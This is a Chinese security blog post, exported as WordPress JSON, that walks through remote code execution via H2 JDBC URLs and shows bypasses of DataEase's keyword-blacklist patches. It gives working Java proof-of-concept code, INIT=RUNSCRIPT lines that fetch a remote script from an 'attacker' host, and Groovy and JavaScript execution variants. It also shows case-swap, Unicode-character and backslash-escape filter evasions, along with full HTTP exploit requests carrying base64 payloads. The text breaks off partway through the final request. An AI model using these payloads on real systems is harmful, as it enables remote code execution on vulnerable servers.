{"id":3830,"date":"2025-06-23T22:16:53","date_gmt":"2025-06-23T14:16:53","guid":{"rendered":"https:\/\/fushuling.com\/?p=3830"},"modified":"2025-06-23T22:17:51","modified_gmt":"2025-06-23T14:17:51","slug":"%e4%bb%8e%e9%9b%b6%e5%bc%80%e5%a7%8b%e7%9a%84h2_jdbc_bypass%e4%b9%8b%e6%97%85","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/06\/23\/%e4%bb%8e%e9%9b%b6%e5%bc%80%e5%a7%8b%e7%9a%84h2_jdbc_bypass%e4%b9%8b%e6%97%85\/","title":{"rendered":"\u4ece\u96f6\u5f00\u59cb\u7684H2 JDBC url bypass\u4e4b\u65c5"},"content":{"rendered":"\n

JDBC\u7b80\u4ecb<\/h1>\n\n\n\n

JDBC\uff08Java Database Connectivity\uff09<\/strong>\u662f Java \u8bed\u8a00\u4e2d\u8bbf\u95ee\u6570\u636e\u5e93\u7684\u6807\u51c6 API\uff0c\u5b83\u5141\u8bb8\u6211\u4eec\u901a\u8fc7\u7edf\u4e00\u7684\u65b9\u5f0f\u8fde\u63a5\u5404\u79cd\u6570\u636e\u5e93\uff08\u5982 MySQL\u3001PostgreSQL\u3001SQLite\u3001Oracle\u3001H2 \u7b49\uff09\uff0c\u6267\u884c SQL \u67e5\u8be2\u548c\u66f4\u65b0\u6570\u636e\u3002<\/p>\n\n\n\n

\u6838\u5fc3\u6d41\u7a0b\u662f\uff1a<\/p>\n\n\n\n

    \n
  1. \u52a0\u8f7d\u6570\u636e\u5e93\u9a71\u52a8<\/li>\n\n\n\n
  2. \u5efa\u7acb\u6570\u636e\u5e93\u8fde\u63a5\uff08Connection<\/code>\uff09<\/li>\n\n\n\n
  3. \u521b\u5efa\u6267\u884c\u8bed\u53e5\uff08Statement<\/code> \u6216 PreparedStatement<\/code>\uff09<\/li>\n\n\n\n
  4. \u6267\u884c SQL\uff08executeQuery<\/code> \/ executeUpdate<\/code>\uff09<\/li>\n\n\n\n
  5. \u5904\u7406\u7ed3\u679c\uff08ResultSet<\/code>\uff09<\/li>\n\n\n\n
  6. \u5173\u95ed\u8d44\u6e90<\/li>\n<\/ol>\n\n\n\n

    \u6bd4\u5982\u6211\u672c\u5730\u73b0\u5728\u6709\u4e00\u4e2amysql\u7684\u670d\u52a1\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528JDBC\u64cd\u4f5c\u6211\u4eec\u7684\u6570\u636e\u5e93\uff0c\u9996\u5148\u53bb\u88c5\u4e00\u4e2a\u4f9d\u8d56mysql-connector-j-8.3.0.jar<\/a>\uff0c\u7136\u540e\u6211\u4eec\u5728\u672c\u5730\u63d2\u5165\u4e00\u5f20 users \u8868\uff0c\u7136\u540e\u63d2\u5165\u4e24\u6761\u6570\u636e\uff1a<\/p>\n\n\n\n

    package JDBC;
    \u200b
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.ResultSet;
    import java.sql.Statement;
    \u200b
    public class JDBCMySQLExample {
        public static void main(String[] args) {
            \/\/ JDBC\u8fde\u63a5\u4fe1\u606f
            String url = \"jdbc:mysql:\/\/localhost:3306\/test?useSSL=false&serverTimezone=UTC\";
            String username = \"root\";
            String password = \"root\";
    \u200b
            try {
                \/\/ \u52a0\u8f7dMySQL JDBC\u9a71\u52a8
                Class.forName(\"com.mysql.cj.jdbc.Driver\");
    \u200b
                \/\/ \u8fde\u63a5\u6570\u636e\u5e93
                Connection conn = DriverManager.getConnection(url, username, password);
    \u200b
                \/\/ \u521b\u5efa Statement
                Statement stmt = conn.createStatement();
    \u200b
                \/\/ \u521b\u5efa\u8868\uff08\u5982\u679c\u5df2\u5b58\u5728\u5219\u5148\u5220\u9664\uff09
                stmt.executeUpdate(\"DROP TABLE IF EXISTS users\");
                stmt.executeUpdate(\"CREATE TABLE users (id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50), age INT)\");
    \u200b
                \/\/ \u63d2\u5165\u6570\u636e
                stmt.executeUpdate(\"INSERT INTO users (name, age) VALUES ('Alice', 23)\");
                stmt.executeUpdate(\"INSERT INTO users (name, age) VALUES ('Bob', 30)\");
    \u200b
                \/\/ \u67e5\u8be2\u6570\u636e
                ResultSet rs = stmt.executeQuery(\"SELECT * FROM users\");
                while (rs.next()) {
                    int id = rs.getInt(\"id\");
                    String name = rs.getString(\"name\");
                    int age = rs.getInt(\"age\");
                    System.out.println(\"User: \" + id + \" - \" + name + \" - \" + age);
                }
    \u200b
                \/\/ \u5173\u95ed\u8d44\u6e90
                rs.close();
                stmt.close();
                conn.close();
    \u200b
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }<\/pre>\n\n\n\n
    \u53ef\u4ee5\u5728\u6570\u636e\u5e93\u770b\u5230\u6211\u4eec\u7684\u6267\u884c\u7ed3\u679c\uff0c\u786e\u5b9e\u6267\u884c\u6210\u529f\u4e86\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    H2 JDBC RCE<\/h1>\n\n\n\n
    H2 \u662f\u4e00\u4e2a\u7528 Java \u7f16\u5199\u7684\u8f7b\u91cf\u7ea7\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff0c\u652f\u6301\u5185\u5b58\uff08mem:<\/code>\uff09\u548c\u6587\u4ef6\uff08file:<\/code>\uff09\u4e24\u79cd\u6a21\u5f0f\uff0c\u5e38\u7528\u4e8e\u5f00\u53d1\u3001\u6d4b\u8bd5\u6216\u5d4c\u5165\u5f0f\u5e94\u7528\u4e2d\u3002\u5b83\u652f\u6301\u6807\u51c6 SQL \u548c JDBC \u63a5\u53e3\uff0c\u53ef\u72ec\u7acb\u8fd0\u884c\u4e5f\u53ef\u4f5c\u4e3a\u5e93\u5d4c\u5165 Java \u5e94\u7528\uff0c\u5177\u6709\u4f53\u79ef\u5c0f\u3001\u542f\u52a8\u5feb\u3001\u6613\u96c6\u6210\u7b49\u4f18\u70b9\u3002<\/p>\n\n\n\n
    \u5b58\u5728javac\u7684\u73af\u5883<\/h2>\n\n\n\n
    \u4f46\u5bf9\u4e8e\u6211\u4eec\u653b\u51fb\u8005\u800c\u8a00\uff0c\u5b83\u6700\u5927\u7684\u4f18\u70b9\u5c31\u662f\u5728\u8fde\u63a5\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e INIT=RUNSCRIPT<\/code> \u8bed\u6cd5\u8ba9\u7cfb\u7edf\u52a0\u8f7d\u8fdc\u7a0b\u6076\u610f\u811a\u672c\uff0c\u6700\u7ec8\u5bfc\u81f4\u670d\u52a1\u7aef\u6267\u884c\u4efb\u610f Java \u4ee3\u7801\uff0c\u8fbe\u5230 RCE\uff0c\u6bd4\u5982\uff1a<\/p>\n\n\n\n
    INIT=RUNSCRIPT FROM 'http:\/\/attacker\/poc.sql'<\/pre>\n\n\n\n
    \u90a3\u4e48\u521d\u59cb\u5316\u7684\u65f6\u5019\uff0c\u5c31\u4f1a\u52a0\u8f7d\u5e76\u6267\u884c\u6307\u5b9a URL \u8fd4\u56de\u7684 SQL \u811a\u672c\uff0c\u800c\u5728 H2 \u6570\u636e\u5e93\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 CREATE ALIAS<\/code> \u6765\u5b9a\u4e49\u4e00\u4e2a Java \u65b9\u6cd5\uff0c\u7136\u540e\u901a\u8fc7 CALL<\/code> \u6765\u6267\u884c\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n\n\n\n
    CREATE ALIAS EXEC AS $$
    void shellexec() throws java.io.IOException {
        \/\/ Java\u4ee3\u7801...
    }
    $$;
    CALL EXEC();<\/pre>\n\n\n\n
    \u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u5199\u4e00\u4e2a\u5f39\u8ba1\u7b97\u5668\u7684\u811a\u672c\uff0c\u90a3\u4e48\u8fde\u63a5\u7684\u65f6\u5019\u5c31\u4f1a\u5f39\u8ba1\u7b97\u5668\uff1a<\/p>\n\n\n\n
    CREATE ALIAS EXEC AS $$
    void shellexec() throws java.io.IOException {
        Runtime.getRuntime().exec(\"calc\");
    }
    $$;
    CALL EXEC();<\/pre>\n\n\n\n
    \u6211\u4eec\u5728\u672c\u5730\u7528python\u8d77\u4e00\u4e2a\u670d\u52a1\u653e\u4e0a\u8fd9\u4e2a\u6076\u610f\u811a\u672c\uff1a<\/p>\n\n\n\n
    python -m http.server 7777<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u63a5\u7740\u6a21\u62df\u88ab\u653b\u51fb\u8005\u6765\u89e6\u53d1\u8fd9\u4e2a\u4ee3\u7801\uff0c\u6ce8\u610f\u9700\u8981\u5b89\u4e00\u4e0b\u4f9d\u8d56(\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662fh2-2.2.224.jar<\/a>)\uff0c\u6210\u529fRCE\uff1a<\/p>\n\n\n\n
    package JDBC;
    \u200b
    import java.sql.Connection;
    import java.sql.DriverManager;
    \u200b
    public class H2RCE_normal {
        public static void main(String[] args) throws Exception {
            \/\/ H2 JDBC URL\uff0c\u5173\u952e\u70b9\u662f INIT=RUNSCRIPT FROM <http-url>
            String url = \"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/127.0.0.1:7777\/poc.sql'\";
            Connection conn = DriverManager.getConnection(url);
    \u200b
        }
    }<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u4e8b\u5b9e\u4e0a\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u4e0d\u51fa\u7f51\u7684\u6267\u884c\uff0c\u4e0d\u4e00\u5b9a\u975e\u8981\u5916\u63a5sql\u6587\u4ef6\uff0c\u53ea\u9700\u8981\u591a\u8f6c\u4e49\u51e0\u6b21\u5373\u53ef\uff1a<\/p>\n\n\n\n
    package JDBC;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\n\npublic class H2RCE {\n    public static void main(String[] args) throws Exception {\n        String url = \"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\\\;}'\\\\;CALL EXEC ('calc.exe')\\\\;\";\n        Connection conn = DriverManager.getConnection(url, \"\", \"\");\n    }\n}<\/code><\/pre>\n\n\n\n
    \"\"\/<\/div><\/figure>\n\n\n\n
    \u9664\u6b64\u4e4b\u5916\uff0cx1r0z\u4e5f\u63d0\u5230\u8fc7\u5728\u6ca1\u6709javac\u7684 JRE 17 \u73af\u5883\u4e0b\u7684H2 RCE\u6253\u6cd5\uff1aH2 RCE \u5728 JRE 17 \u73af\u5883\u4e0b\u7684\u5229\u7528<\/a>\u3002<\/p>\n\n\n\n
    \u5b58\u5728Groovy \u4f9d\u8d56<\/h2>\n\n\n\n
    \u5982\u679c\u5b58\u5728Groovy \u4f9d\u8d56\uff0c\u6bd4\u5982\u6211\u662f\uff1agroovy-4.0.24.jar\u548cgroovy-sql-4.0.24.jar\uff0c\u53ef\u4ee5\u4f7f\u7528 @groovy.transform.ASTTEST<\/code> \u5728 AST \u4e2d\u4f7f\u7528 assert \u6267\u884c\u547d\u4ee4:<\/p>\n\n\n\n
    package JDBC;
    \u200b
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    \u200b
    public class H2RCE_Groovy {
        public static void main (String[] args) throws ClassNotFoundException, SQLException {
            String groovy = \"@groovy.transform.ASTTest(value={\" + \" assert java.lang.Runtime.getRuntime().exec(\\\"calc.exe\\\")\" + \"})\" + \"def x\";
            String url = \"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '\"+ groovy +\"'\";
            Connection conn = DriverManager.getConnection(url);
            conn.close();
        }
    }<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u4f4e\u7248\u672c\u4e0b\u5229\u7528js\u6267\u884c<\/h2>\n\n\n\n
    \u9664\u6b64\u4e4b\u5916\u8fd8\u53ef\u4ee5\u4f7f\u7528js\u6267\u884c\uff0c\u4e0d\u8fc7\u7248\u672c\u6709\u8981\u6c42\uff0c\u6bd4\u5982\u6211\u6362\u6210jdk 1.8.0_65\u624d\u6253\u901a\uff1a<\/p>\n\n\n\n
    package JDBC;
    \u200b
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    \u200b
    public class H2RCE_JS {
        public static void main (String[] args) throws ClassNotFoundException, SQLException {
            String JDBC_URL = \"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\\n\" +
                    \"INFORMATION_SCHEMA.TABLES AS $$\/\/javascript\\n\" +
                    \"java.lang.Runtime.getRuntime().exec('cmd \/c calc.exe')\\n\" +
                    \"$$\\n\";
            Connection conn = DriverManager.getConnection(JDBC_URL);
    \u200b
        }
    }<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u548cdataease\u5b98\u65b9\u7684\u6597\u667a\u6597\u52c7<\/h1>\n\n\n\n
    \u5728dataease\u91cc\u5c31\u5b58\u5728\u4e00\u4e2a\u7c7b\u4f3c\u7684\u63a5\u53e3\u4f7f\u7528\u4e86h2 JDBC\uff0c\u56e0\u6b64\u53ef\u4ee5\u76f4\u63a5RCE\uff0c\u8be6\u60c5\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2adataease\u7684Security<\/a>\uff0c\u5177\u4f53\u800c\u8a00\uff0c\u5c31\u662f\u4ee3\u7801\u91cc\u5b58\u5728h2\u7684JDBC\u8c03\u7528\uff0c\u4e14\u53c2\u6570\u53ef\u63a7<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u6240\u4ee5\u5728\u6700\u521d\u7684\u7248\u672c\u91cc\uff0c\u53ea\u9700\u8981\u4f7f\u7528\u6700\u539f\u59cb\u7684poc\u5c31\u80fdrce\uff1a<\/p>\n\n\n\n
    jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'<\/pre>\n\n\n\n
    \u4e0d\u8fc7\u57282.10.8\u4e4b\u540e\u8fd9\u4e2a\u6d1e\u88ab\u4fee\u4e86\uff0c\u6211\u4eec\u6765\u770b\u770b\u5b98\u65b9\u662f\u600e\u4e48\u4fee\u7684\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u4fee\u6cd5\u662f\u83b7\u53d6jdbc\u7684\u5b57\u7b26\u4e32\uff0c\u5339\u914d\u5176\u4e2d\u662f\u5426\u5b58\u5728INIT\u6216\u8005RUNSCRIPT\ud83e\udd14\ud83e\udd14\uff0c\u679c\u7136\u662f\u5f88\u6807\u51c6\u7684\u5f00\u53d1\u8005\u89c6\u89d2\u91cc\u7684\u9ed1\u540d\u5355\u4fee\u590d\u6cd5\uff0c\u90a3\u4e48\u8fd9\u6837\u7684\u4fee\u590d\u6cd5\u771f\u7684\u80fd\u9632\u5fa1\u4f4f\u653b\u51fb\u5417\uff1f<\/p>\n\n\n\n
    v2.10.8\u7684\u8865\u4e01<\/h2>\n\n\n\n
    \u5927\u5c0f\u5199\u7ed5\u8fc7<\/h3>\n\n\n\n
    \u6253\u4e00\u4e2a\u65ad\u70b9\uff0c\u53ef\u4ee5\u770b\u5230H2\u8bfb\u53d6url\u7684\u903b\u8f91\u5728readSettingsFromURL:<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    private void readSettingsFromURL() {
            DbSettings var1 = DbSettings.DEFAULT;
            int var2 = this.url.indexOf(59);
            if (var2 >= 0) {
                String var3 = this.url.substring(var2 + 1);
                this.url = this.url.substring(0, var2);
                String var4 = null;
                String[] var5 = StringUtils.arraySplit(var3, ';', false);
                String[] var6 = var5;
                int var7 = var5.length;
    \u200b
                for(int var8 = 0; var8 < var7; ++var8) {
                    String var9 = var6[var8];
                    if (!var9.isEmpty()) {
                        int var10 = var9.indexOf(61);
                        if (var10 < 0) {
                            throw this.getFormatException();
                        }
    \u200b
                        String var11 = var9.substring(var10 + 1);
                        String var12 = var9.substring(0, var10);
                        var12 = StringUtils.toUpperEnglish(var12);
                        if (!isKnownSetting(var12) && !var1.containsKey(var12)) {
                            var4 = var12;
                        } else {
                            String var13 = this.prop.getProperty(var12);
                            if (var13 != null && !var13.equals(var11)) {
                                throw DbException.get(90066, var12);
                            }
    \u200b
                            this.prop.setProperty(var12, var11);
                        }
                    }
                }
    \u200b
                if (var4 != null && !Utils.parseBoolean(this.prop.getProperty(\"IGNORE_UNKNOWN_SETTINGS\"), false, false)) {
                    throw DbException.get(90113, var4);
                }
            }
    \u200b
        }<\/pre>\n\n\n\n
    \u53ef\u4ee5\u770b\u5230\u4ee3\u7801\u91cc\u6709\u5f88\u5173\u952e\u7684\u4e00\u6b65\uff1avar12 = StringUtils.toUpperEnglish(var12)<\/code>\uff0c\u800c\u8fd9\u4e2atoUpperEnglish<\/code>\u5e95\u5c42\u5176\u5b9e\u5c31\u662ftoUpperCase<\/code>:<\/p>\n\n\n\n
    \"\"\/<\/div><\/figure>\n\n\n\n
    \u6240\u4ee5\u5728\u6700\u540e\u89e3\u6790url\u7684\u65f6\u5019\uff0c\u5176\u5b9e\u6240\u6709\u53c2\u6570\u90fd\u88ab\u8f6c\u6362\u6210\u5927\u5199\u4e86\uff0c\u56e0\u6b64H2\u7684jdbc\u4e2d\u7684\u53c2\u6570\u5176\u5b9e\u662f\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\uff0c\u90a3\u4e48\u7b2c\u4e00\u4e2a\u601d\u8def\u5c31\u5f88\u81ea\u7136\u800c\u7136\u7684\u51fa\u73b0\u4e86\uff0c\u90a3\u5c31\u662f\u8f6c\u6362\u5927\u5c0f\u5199\uff0c\u73b0\u5728\u6211\u4eec\u628apayload\u6539\u6210\uff1a<\/p>\n\n\n\n
    jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'<\/pre>\n\n\n\n
    \u5148\u672c\u5730\u8bd5\u8bd5\u80fd\u4e0d\u80fd\u6253\u901a\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u80fd\u6253\u901a\uff0c\u90a3\u76f4\u63a5\u53d1\u5305\uff1a<\/p>\n\n\n\n
    POST \/de2api\/datasource\/validate HTTP\/1.1
    Host: 127.0.0.1:8100
    User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko\/20100101 Firefox\/138.0
    Accept: application\/json, text\/plain, *\/*
    Accept-Language: zh-CN
    Accept-Encoding: gzip, deflate, br
    Content-Type: application\/json
    Content-Length: 492
    Origin: http:\/\/127.0.0.1:8100
    Connection: close
    Referer: http:\/\/127.0.0.1:8100\/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Priority: u=0
    \u200b
    {\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"h2\",\"configuration\":\"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0luSVQ9clVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMjUvcG9jLnNxbCciLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9\"}<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    unicode\u7ed5\u8fc7<\/h3>\n\n\n\n
    \u5e38\u770bp\u795e\u6587\u7ae0\u7684\u5e08\u5085\u5e94\u8be5\u77e5\u9053\uff0cjavascript\u4e2d\u5b58\u5728\u4e00\u4e2a\u5f88\u795e\u5947\u7684\u5927\u5c0f\u5199\u8f6c\u6362\u7279\u6027\uff1aFuzz\u4e2d\u7684javascript\u5927\u5c0f\u5199\u7279\u6027<\/a>\uff0c\u7b80\u5355\u6765\u8bf4\uff0c\u5b57\u7b26”\u0131”\u8f6c\u5927\u5199\u4e4b\u540e\u4f1a\u53d8\u6210”I”\uff0c\u5b57\u7b26”\u017f”\u8f6c\u6362\u5927\u5199\u4e4b\u540e\u4f1a\u53d8\u6210”S”\uff0c\u90a3\u4e48java\u4e2d\u662f\u5426\u5b58\u5728\u7c7b\u4f3c\u7684\u7279\u6027\u5462\uff1f<\/p>\n\n\n\n
    \u6211\u4eec\u8bd5\u8bd5\u628a\u8fd9\u4e24\u4e2a\u5b57\u7b26\u8fdb\u884c\u8f6c\u6362\uff0c\u679c\u7136\u771f\u7684\u5206\u522b\u53d8\u6210\u4e86”I”\u548c”S”\uff1a<\/p>\n\n\n\n
    package JDBC;
    \u200b
    public class upper {
        public static void main(String[] args) {
            String var1 = \"\u0131\";
            String var2 = \"\u017f\";
            System.out.println(var1.toUpperCase().equals(\"I\"));
            System.out.println(var2.toUpperCase().equals(\"S\"));
        }
    }<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u8fd9\u4e2a\u601d\u8def\u5728yulate\u7684\u8bae\u9898jdbc trick<\/a>\u91cc\u5176\u5b9e\u4e5f\u63d0\u5230\u8fc7\uff1a<\/p>\n\n\n\n
    \"\"\/<\/div><\/figure>\n\n\n\n
    \u90a3\u4e48\u601d\u8def\u4e8c\u81ea\u7136\u5c31\u51fa\u73b0\u4e86\uff0c\u7528\u62c9\u4e01\u5b57\u6bcd\u5bf9\u539f\u59cb\u7684payload\u8fdb\u884c\u66ff\u6362\uff1a<\/p>\n\n\n\n
    jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;\u0131NIT=RUN\u017fCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'<\/pre>\n\n\n\n
    \u5148\u672c\u5730\u8bd5\u8bd5\uff0c\u80fd\u6253\u901a\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u90a3\u4e48\u53d1\u5305\u8bd5\u8bd5\uff1a<\/p>\n\n\n\n
    POST \/de2api\/datasource\/validate HTTP\/1.1
    Host: 127.0.0.1:8100
    User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko\/20100101 Firefox\/138.0
    Accept: application\/json, text\/plain, *\/*
    Accept-Language: zh-CN
    Accept-Encoding: gzip, deflate, br
    Content-Type: application\/json
    Content-Length: 496
    Origin: http:\/\/127.0.0.1:8100
    Connection: close
    Referer: http:\/\/127.0.0.1:8100\/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Priority: u=0
    \u200b
    {\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"h2\",\"configuration\":\"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO8SxTklUPVJVTsW\/Q1JJUFQgRlJPTSAnaHR0cDovLzEyNy4wLjAuMTo1MDAyNS9wb2Muc3FsJyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiOiIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0=\"}<\/pre>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    v2.10.10\u7684\u8865\u4e01<\/h2>\n\n\n\n
    \u5229\u7528\\\u8fdb\u884c\u7ed5\u8fc7<\/h3>\n\n\n\n
    \u5728 v2.10.10 \u7684\u65f6\u5019\uff0cdataease\u5b98\u65b9\u4fee\u590d\u4e86\u4e0a\u9762\u6211\u4eec\u63d0\u5230\u7684\u7ed5\u8fc7\u65b9\u6cd5:<\/p>\n\n\n\n
    \"\"\/<\/div><\/figure>\n\n\n\n
    StringUtils.containsAnyIgnoreCase<\/code>\u8fd9\u4e2a\u65b9\u6cd5\u4e25\u683c\u8fc7\u6ee4\u4e86\u5173\u952e\u5b57\uff0c\u6211\u4eec\u4e0a\u9762\u63d0\u5230\u7684\u4e24\u79cd\u7ed5\u8fc7\u65b9\u6cd5\u5747\u5931\u6548\u4e86\uff1a<\/p>\n\n\n\n
    package JDBC;
    \u200b
    import org.apache.commons.lang3.StringUtils;
    \u200b
    public class test {
        public static void main(String[] args) throws Exception {
    \/\/        String jdbc = \"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'\";
            String jdbc = \"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;\u0131NIT=RUN\u017fCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'\";
            if (StringUtils.containsAnyIgnoreCase(jdbc, \"INIT\", \"RUNSCRIPT\")) {
                System.out.println(\"wrong\");
            }else{
                System.out.println(\"bypass\");
            }
        }
    }
    \u200b<\/pre>\n\n\n\n
    \"\"\/<\/div><\/figure>\n\n\n\n
    \"\"\/<\/div><\/figure>\n\n\n\n
    \u73b0\u5728\u53ea\u4ece\u5927\u5c0f\u5199\u5165\u624b\u662f\u7ed5\u4e0d\u8fc7\u8865\u4e01\u7684\u4e86\uff0c\u60f3\u8981bypass\u8fd8\u9700\u8981\u7ee7\u7eed\u4ece\u5e95\u5c42\u8ddf\u4e00\u4e0bh2\u89e3\u6790url\u7684\u903b\u8f91\u3002<\/p>\n\n\n\n
    \u518d\u6253\u65ad\u70b9\u5f80\u540e\u8ddf\u7684\u65f6\u5019\uff0c\u6211\u53d1\u73b0\u4e86\u4e00\u4e2a\u6709\u8da3\u7684\u51fd\u6570\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u6ce8\u610f\u5230\u8fd9\u91cc\uff1a<\/p>\n\n\n\n
    else if (var7 == '\\\\' && var6 < var3 - 1) {
           ++var6;
           var5.append(var0.charAt(var6));
    } <\/pre>\n\n\n\n
    \u8fd9\u53e5\u4ee3\u7801\u7684\u4f5c\u7528\u5176\u5b9e\u662f\uff1a\u5982\u679c\u9047\u5230\u8f6c\u4e49\u7b26 \\<\/code>\uff0c\u5219\u8df3\u8fc7 \\<\/code> \u5e76\u628a\u4e0b\u4e00\u4e2a\u5b57\u7b26\u6dfb\u52a0\u8fdb\u53bb\uff0c\u4f8b\u5982 \\;<\/code> \u4f1a\u5f53\u4f5c\u666e\u901a\u5206\u53f7\uff0c\u4e8e\u662f\u6211\u8bd5\u4e86\u8bd5\u4f20\u5165\u4e00\u4e2ain\\it<\/code>\uff0c\u7136\u540e\u6253\u65ad\u70b9\u8ddf\u4e86\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u5f88\u6709\u610f\u601d\uff0c\u6211\u4eec\u7684in\\it<\/code>\u88ab\u89e3\u6790\u6210\u4e86init\uff0c\u90a3\u4e48\u73b0\u5728\u4e00\u4e2a\u81ea\u7136\u800c\u7136\u7684\u601d\u8def\u51fa\u73b0\u4e86\uff0c\u7528\\\u8fdb\u884c\u8f6c\u4e49\uff0c\u73b0\u5728\u628apayload\u6362\u6210\uff1a<\/p>\n\n\n\n
    jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;I\\\\NIT=R\\\\UNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'<\/pre>\n\n\n\n
    \u672c\u5730\u6210\u529fRCE\uff1a<\/p>\n\n\n\n
    \"img\"\/<\/div><\/figure>\n\n\n\n
    \u53d1\u5305\uff1a<\/p>\n\n\n\n
    POST \/de2api\/datasource\/validate HTTP\/1.1
    Host: 127.0.0.1:8100
    User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko\/20100101 Firefox\/138.0
    Accept: application\/json, text\/plain, *\/*
    Accept-Language: zh-CN
    Accept-Encoding: gzip, deflate, br
    Content-Type: application\/json
    Content-Length: 500
    Origin: http:\/\/127.0.0.1:8100
    Connection: close
    Referer: http:\/\/127.0.0.1:8100\/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Priority: u=0
    \u200b
